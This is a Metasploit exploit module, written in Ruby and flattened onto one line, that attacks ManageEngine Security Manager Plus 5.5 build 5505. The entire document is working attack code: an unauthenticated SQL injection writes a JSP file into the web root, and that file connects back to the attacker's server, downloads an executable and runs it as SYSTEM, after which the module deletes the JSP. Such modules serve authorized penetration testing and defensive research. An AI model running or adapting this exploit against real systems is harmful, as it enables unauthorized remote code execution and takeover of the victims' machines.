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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::TcpServer include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Security Manager Plus <=5.5 build 5505 remote code execution", 'Description'=> %q{ This module exploits a SQL injection found in ManageEngine Security Manager Plus advanced search page.It will send a malicious SQL query to create a JSP file under the web root directory, and then let it download and execute our malicious executable under the context of SYSTEM. No authentication is necessary to exploit this. }, 'License'=> MSF_LICENSE, 'Author' => [ 'xistence'# Discovery & Metasploit module ], 'References' => [ ], 'Payload'=> { 'BadChars' => "\x00", }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'win', 'Targets'=> [ # Win XP / 2003 / Vista / Win 7 / etc ['Windows Universal', {}] ], 'Privileged' => false, 'DisclosureDate' => "Oct 18 2012", 'DefaultTarget'=> 0)) register_options( [ OptPort.new('RPORT', [true, 'The target port', 6262]), ], self.class) end # # A very gentle check to see if Security Manager Plus exists or not # def check res = send_request_raw({ 'method' => 'GET', 'uri'=> '/SecurityManager.cc' }) if res and res.body =~ /\<title\>Security Manager Plus\<\/title\>/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Remove the JSP once we get a shell. # We cannot delete the executable because it will still be in use. # def on_new_session(cli) if cli.type != 'meterpreter' print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin #jsp = @outpath.gsub(/\//, "\\\\") #jsp = jsp.gsub(/"/, "") vprint_status("#{rhost}:#{rport} - Deleting: #{@jsp_name + '.jsp'}") cli.fs.file.rm("../webapps/SecurityManager/#{@jsp_name + '.jsp'}") print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted") rescue ::Exception => e print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}") end end # # Transfer the malicious executable to our victim # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)") cli.put(@native_payload) service.close_client(cli) end # # Generate a download+exe JSP payload # def generate_jsp_payload my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST'] my_port = datastore['SRVPORT'] # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\ # This will download our malicious executable in base64 format, decode it back, # save it as a temp file, and then finally execute it. jsp = %Q| <%@page import="java.io.*"%> <%@page import="java.net.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% StringBuffer buf = new StringBuffer(); byte[] shellcode = null; BufferedOutputStream outstream = null; try { Socket s = new Socket("#{my_host}", #{my_port}); BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream())); while (buf.length() < #{@native_payload.length}) { buf.append( (char) r.read()); } BASE64Decoder decoder = new BASE64Decoder(); shellcode = decoder.decodeBuffer(buf.toString()); File temp = File.createTempFile("#{@native_payload_name}", ".exe"); String path = temp.getAbsolutePath(); outstream = new BufferedOutputStream(new FileOutputStream(path)); outstream.write(shellcode); outstream.close(); Process p = Runtime.getRuntime().exec(path); } catch (Exception e) {} %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp.unpack("H*")[0] end # # Run the actual exploit # def inject_exec # This little lag is meant to ensure the TCP server runs first before the requests select(nil, nil, nil, 1) # Inject our JSP payload print_status("#{rhost}:#{rport} - Sending JSP payload") pass = rand_text_alpha(rand(10)+5) hex_jsp= generate_jsp_payload res = send_request_cgi({ 'method'=> 'POST', 'uri' => '/STATE_ID/31337/jsp/xmlhttp/persistence.jsp?reqType=AdvanceSearch&SUBREQUEST=XMLHTTP', 'headers' => { 'Cookie' => 'STATE_COOKIE=%26SecurityManager%2FID%2F174%2FHomePageSubDAC_LIST%2F223%2FSecurityManager_CONTENTAREA_LIST%2F226%2FMainDAC_LIST%2F166%26MainTabs%2FID%2F167%2F_PV%2F174%2FselectedView%2FHome%26Home%2FID%2F166%2FPDCA%2FMainDAC%2F_PV%2F174%26HomePageSub%2FID%2F226%2FPDCA%2FSecurityManager_CONTENTAREA%2F_PV%2F166%26HomePageSubTab%2FID%2F225%2F_PV%2F226%2FselectedView%2FHomePageSecurity%26HomePageSecurity%2FID%2F223%2FPDCA%2FHomePageSubDAC%2F_PV%2F226%26_REQS%2F_RVID%2FSecurityManager%2F_TIME%2F31337; 2RequestsshowThreadedReq=showThreadedReqshow; 2RequestshideThreadedReq=hideThreadedReqhide;', 'Accept-Encoding' => 'identity' }, 'vars_post'=> { 'ANDOR' => 'and', 'condition_1' => 'OpenPorts@PORT', 'operator_1' => 'IN', 'value_1'=> "1)) union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,25,26,27,28,29 into outfile #{@outpath} FROM mysql.user WHERE 1=((1", 'COUNT' => '1' } }) print_status("#{rhost}:#{rport} - Sending pwnage /#{@jsp_name + '.jsp'}") res = send_request_raw({ 'method'=> 'GET', 'uri' => "/#{@jsp_name + '.jsp'}", 'headers' => { 'Cookie' => 'pwnage' } }) handler end # # The server must start first, and then we send the malicious requests # def exploit # Avoid passing this as an argument for performance reasons # This is in base64 is make sure our file isn't mangled @native_payload= [generate_payload_exe].pack("m*") @native_payload_name = rand_text_alpha(rand(6)+3) @jsp_name= rand_text_alpha(rand(6)+3) @outpath = "\"../../webapps/SecurityManager/#{@jsp_name + '.jsp'}\"" begin t = framework.threads.spawn("reqs", false) { inject_exec } print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") super ensure t.kill end end end |
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